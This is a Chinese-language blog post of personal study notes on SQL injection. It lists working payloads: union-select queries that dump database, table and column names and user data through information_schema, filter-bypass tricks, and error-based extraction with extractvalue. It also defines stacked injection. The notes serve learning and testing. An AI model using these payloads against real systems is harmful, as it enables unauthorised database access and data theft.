sql injection

  1. SQL injection
    1. 核心代码
    2. 类型
      1. 整数型
      2. 字符型
    3. 理想情况注入:
    4. 绕过
    5. 报错注入
      1. xpath语法错误:
    6. 堆叠注入
      1. 定义

SQL injection

核心代码

SELECT * FROM users WHERE id=

类型

整数型

SELECT * FROM users WHERE id= 1

字符型

SELECT * FROM users WHERE id='1'

理想情况注入:

(有回显,没有过滤字符)

  1. 执行以下测试:

    image-20200920153333477

  2. 输入1' order by 1#或者1 order by 1#1' order by 2#1' order by 3#……判断一共有多少列;

  3. 通过union select database() 获得当前数据库(!union 联合查询必须字段一致,如上文只有两列,则需union select 1,2,而union select 1会报错)

    获取所有数据库:

    union select group_concat(schema_name) from information_schema.schemata

  4. 获取表名:information_schema

    union select group_concat(table_name) from information_schema.tables where table_schema= '$$$'#

    $$$:database的名字

  5. 获取字段名:

    union select group_concat(column_name) from information_schema.columns where table_schema= '$$$' and table_name='***'#

    ***: 表名

  6. 获取用户数据:

    union select group_concat(###) from '***'#

    ###: 字段名

绕过

参考:高级SQL注入:混淆和绕过

  1. and/or ==> &&/||

  2. 双写绕过:如or ==> oorr 过滤之后:oorr

  3. 空格:使用()代替空格

  4. ‘=’号:使用like代替=

    where table_schema = 'geek'

    ==> where((table_schema)like('geek'))

  5. union:

    1 || (select user from users where user_id = 1)='admin'

    || 管道符后边的意思就是,从users表中查找 user_id = 1user 数据是不是 admin

  6. where ==> limit

  7. limit ==> group by

  8. 预编译绕过select

    预编译相关语法:

    1
    2
    3
    4
    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句
  1. 报错注入

xpath语法错误:

从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取;或者是由right()从右往左数

extractvalue(1,concat(0x7e,(select @@version),0x7e));

堆叠注入

定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

堆叠注入骚操作:https://www.cnblogs.com/gaonuoqi/p/12398554.html

文章标题:sql injection

本文作者:Kyle

发布时间:2020-09-19, 15:18:05

最后更新:2020-10-22, 14:04:53

原始链接:https://silver2835.github.io/2020/09/19/sql-injection/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录